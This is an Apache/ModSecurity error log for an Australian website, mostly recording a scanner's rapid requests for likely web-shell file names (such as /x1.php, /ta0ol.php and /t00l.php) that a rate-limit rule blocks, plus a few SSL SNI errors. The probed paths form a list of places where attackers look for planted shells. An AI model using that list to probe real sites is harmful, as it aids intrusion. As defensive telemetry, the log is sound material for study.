[Thu Apr 02 10:27:41.195427 2026] [:error] [pid 59201:tid 59287] [client 51.75.128.50:58088] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ac3UHcAC0Tw8eL6gzZ6zfQAAAJQ"]
[Thu Apr 02 11:29:21.131472 2026] [ssl:error] [pid 59201:tid 59284] [client 40.160.16.154:30230] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://measureyourbrand.com/
[Thu Apr 02 11:55:12.949598 2026] [ssl:error] [pid 54384:tid 54400] [client 40.160.16.154:31318] AH02032: Hostname www.measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://www.measureyourbrand.com/
[Thu Apr 02 14:07:09.926853 2026] [:error] [pid 59200:tid 59258] [client 43.153.71.132:54344] [client 43.153.71.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ac4HjbfP26txrdLs3Eo46AAAAFI"]
[Thu Apr 02 20:10:02.104098 2026] [:error] [pid 59201:tid 59277] [client 74.248.134.192:23930] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac5cmsAC0Tw8eL6gzZ4eYAAAAIo"]
[Thu Apr 02 20:10:02.735455 2026] [:error] [pid 59200:tid 59258] [client 74.248.134.192:46216] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac5cmrfP26txrdLs3Ep3AQAAAFI"]
[Thu Apr 02 20:10:03.493411 2026] [:error] [pid 29467:tid 29492] [client 74.248.134.192:22621] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac5cm74VUBFCJAq-WOmHlwAAARY"]
[Thu Apr 02 20:10:04.210860 2026] [:error] [pid 54384:tid 54405] [client 74.248.134.192:36937] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac5cnNWWpaby3TVN7McS-wAAAdM"]
[Thu Apr 02 20:10:05.225571 2026] [:error] [pid 23927:tid 23937] [client 74.248.134.192:20086] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "ac5cnUsZwqCndhl9uKC1OAAAAYg"]
[Thu Apr 02 20:10:06.203248 2026] [:error] [pid 29467:tid 29474] [client 74.248.134.192:50676] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "ac5cnr4VUBFCJAq-WOmHnAAAAQQ"]
[Thu Apr 02 20:10:06.771784 2026] [:error] [pid 23927:tid 23946] [client 74.248.134.192:25764] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "ac5cnksZwqCndhl9uKC1PAAAAZE"]
[Thu Apr 02 20:10:08.185770 2026] [:error] [pid 23927:tid 23947] [client 74.248.134.192:60668] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "ac5coEsZwqCndhl9uKC1RAAAAZI"]
[Thu Apr 02 20:10:09.024551 2026] [:error] [pid 23927:tid 23946] [client 74.248.134.192:62186] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac5coUsZwqCndhl9uKC1SAAAAZE"]
[Thu Apr 02 20:10:09.673785 2026] [:error] [pid 29467:tid 29486] [client 74.248.134.192:54086] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac5cob4VUBFCJAq-WOmHoQAAARA"]
[Thu Apr 02 20:10:10.785841 2026] [:error] [pid 29467:tid 29488] [client 74.248.134.192:42545] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac5cor4VUBFCJAq-WOmHpQAAARI"]
[Thu Apr 02 20:10:11.863798 2026] [:error] [pid 59194:tid 59223] [client 74.248.134.192:21971] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac5coxMpAeV11hcQehxHEAAAAAo"]
[Thu Apr 02 20:10:13.039677 2026] [:error] [pid 29467:tid 29489] [client 74.248.134.192:50100] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "ac5cpb4VUBFCJAq-WOmHrQAAARM"]
[Thu Apr 02 20:10:13.943715 2026] [:error] [pid 59200:tid 59251] [client 74.248.134.192:54088] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "ac5cpbfP26txrdLs3Ep3FQAAAEs"]
[Thu Apr 02 20:10:14.756429 2026] [:error] [pid 59194:tid 59232] [client 74.248.134.192:50173] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "ac5cphMpAeV11hcQehxHFwAAABM"]
[Thu Apr 02 20:10:15.358293 2026] [:error] [pid 29467:tid 29490] [client 74.248.134.192:35603] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "ac5cp74VUBFCJAq-WOmHsQAAARQ"]
[Thu Apr 02 20:10:16.196538 2026] [:error] [pid 37543:tid 37566] [client 74.248.134.192:32487] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "ac5cqHhdk2bEYJCvILbfYAAAAVU"]
[Thu Apr 02 20:10:16.943495 2026] [:error] [pid 37543:tid 37564] [client 74.248.134.192:57067] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "ac5cqHhdk2bEYJCvILbfZAAAAVM"]
[Thu Apr 02 20:10:17.649646 2026] [:error] [pid 29467:tid 29471] [client 74.248.134.192:54092] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "ac5cqb4VUBFCJAq-WOmHtQAAAQE"]
[Thu Apr 02 20:10:18.480059 2026] [:error] [pid 54384:tid 54401] [client 74.248.134.192:41910] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "ac5cqtWWpaby3TVN7McTEgAAAc8"]
[Thu Apr 02 20:10:19.140634 2026] [:error] [pid 29467:tid 29481] [client 74.248.134.192:43228] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1.php"] [unique_id "ac5cq74VUBFCJAq-WOmHuQAAAQs"]
[Thu Apr 02 20:10:19.852019 2026] [:error] [pid 59305:tid 59328] [client 74.248.134.192:32466] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1.php"] [unique_id "ac5cq6r2tV4rDwKFxKeO2gAAANM"]
[Thu Apr 02 20:10:20.492366 2026] [:error] [pid 59305:tid 59316] [client 74.248.134.192:50114] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1.php"] [unique_id "ac5crKr2tV4rDwKFxKeO2wAAAMc"]
[Thu Apr 02 20:10:21.472169 2026] [:error] [pid 59305:tid 59312] [client 74.248.134.192:41911] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1.php"] [unique_id "ac5crar2tV4rDwKFxKeO4AAAAMM"]
[Thu Apr 02 20:10:22.090053 2026] [:error] [pid 59305:tid 59314] [client 74.248.134.192:50136] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "ac5crqr2tV4rDwKFxKeO4QAAAMU"]
[Thu Apr 02 20:10:22.703711 2026] [:error] [pid 59201:tid 59285] [client 74.248.134.192:57042] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "ac5crsAC0Tw8eL6gzZ4eegAAAJI"]
[Thu Apr 02 20:10:23.604972 2026] [:error] [pid 59305:tid 59311] [client 74.248.134.192:32484] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "ac5cr6r2tV4rDwKFxKeO4wAAAMI"]
[Thu Apr 02 20:10:24.372193 2026] [:error] [pid 59200:tid 59240] [client 74.248.134.192:21249] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "ac5csLfP26txrdLs3Ep3HwAAAEA"]
[Thu Apr 02 20:10:25.263149 2026] [:error] [pid 59305:tid 59332] [client 74.248.134.192:42530] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "ac5csar2tV4rDwKFxKeO6QAAANc"]
[Thu Apr 02 20:10:25.978231 2026] [:error] [pid 54384:tid 54398] [client 74.248.134.192:5521] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "ac5csdWWpaby3TVN7McTGwAAAcw"]
[Thu Apr 02 20:10:26.575344 2026] [:error] [pid 59305:tid 59309] [client 74.248.134.192:59382] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "ac5csqr2tV4rDwKFxKeO8wAAAMA"]
[Thu Apr 02 20:10:27.171766 2026] [:error] [pid 29467:tid 29492] [client 74.248.134.192:43218] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "ac5cs74VUBFCJAq-WOmHzAAAARY"]
[Thu Apr 02 20:10:27.733115 2026] [:error] [pid 29467:tid 29470] [client 74.248.134.192:54106] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "ac5cs74VUBFCJAq-WOmHzgAAAQA"]
[Thu Apr 02 20:10:28.456273 2026] [:error] [pid 29467:tid 29482] [client 74.248.134.192:54127] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "ac5ctL4VUBFCJAq-WOmH0AAAAQw"]
[Thu Apr 02 20:10:29.399549 2026] [:error] [pid 37543:tid 37547] [client 74.248.134.192:35640] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "ac5ctXhdk2bEYJCvILbfcgAAAUI"]
[Thu Apr 02 20:10:30.149688 2026] [:error] [pid 23927:tid 23940] [client 74.248.134.192:21962] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "ac5ctksZwqCndhl9uKC1VAAAAYs"]
[Thu Apr 02 20:10:31.113692 2026] [:error] [pid 54384:tid 54391] [client 74.248.134.192:50649] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/24.php"] [unique_id "ac5ct9WWpaby3TVN7McTHQAAAcU"]
[Thu Apr 02 20:10:31.945000 2026] [:error] [pid 59305:tid 59319] [client 74.248.134.192:21983] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/24.php"] [unique_id "ac5ct6r2tV4rDwKFxKeO-gAAAMo"]
[Thu Apr 02 20:10:32.697860 2026] [:error] [pid 29467:tid 29484] [client 74.248.134.192:41881] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/24.php"] [unique_id "ac5cuL4VUBFCJAq-WOmH5gAAAQ4"]
[Thu Apr 02 20:10:33.421761 2026] [:error] [pid 29467:tid 29489] [client 74.248.134.192:50134] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/24.php"] [unique_id "ac5cub4VUBFCJAq-WOmH7AAAARM"]
[Thu Apr 02 20:10:34.197689 2026] [:error] [pid 23927:tid 23934] [client 74.248.134.192:42549] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "ac5cuksZwqCndhl9uKC1YAAAAYU"]
[Thu Apr 02 20:10:35.022750 2026] [:error] [pid 59201:tid 59274] [client 74.248.134.192:42528] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "ac5cu8AC0Tw8eL6gzZ4egwAAAIc"]
[Thu Apr 02 20:10:35.732542 2026] [:error] [pid 37543:tid 37554] [client 74.248.134.192:50095] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "ac5cu3hdk2bEYJCvILbfeQAAAUk"]
[Thu Apr 02 20:10:36.490466 2026] [:error] [pid 59201:tid 59273] [client 74.248.134.192:54131] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "ac5cvMAC0Tw8eL6gzZ4ehwAAAIY"]
[Thu Apr 02 20:10:37.351614 2026] [:error] [pid 23927:tid 23942] [client 74.248.134.192:29627] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "ac5cvUsZwqCndhl9uKC1ZwAAAY0"]
[Thu Apr 02 20:10:38.047174 2026] [:error] [pid 23927:tid 23932] [client 74.248.134.192:32459] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "ac5cvksZwqCndhl9uKC1awAAAYM"]
[Thu Apr 02 20:10:39.433691 2026] [:error] [pid 54384:tid 54400] [client 74.248.134.192:32497] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "ac5cv9WWpaby3TVN7McTJAAAAc4"]
[Thu Apr 02 20:10:40.367119 2026] [:error] [pid 23927:tid 23945] [client 74.248.134.192:54091] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "ac5cwEsZwqCndhl9uKC1cQAAAZA"]
[Thu Apr 02 20:10:42.016821 2026] [:error] [pid 23927:tid 23929] [client 74.248.134.192:29618] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyiiz.php"] [unique_id "ac5cwksZwqCndhl9uKC1dQAAAYA"]
[Thu Apr 02 20:10:43.111781 2026] [:error] [pid 54384:tid 54390] [client 74.248.134.192:22565] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyiiz.php"] [unique_id "ac5cw9WWpaby3TVN7McTJgAAAcQ"]
[Thu Apr 02 20:10:43.829410 2026] [:error] [pid 54384:tid 54386] [client 74.248.134.192:50164] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyiiz.php"] [unique_id "ac5cw9WWpaby3TVN7McTKQAAAcA"]
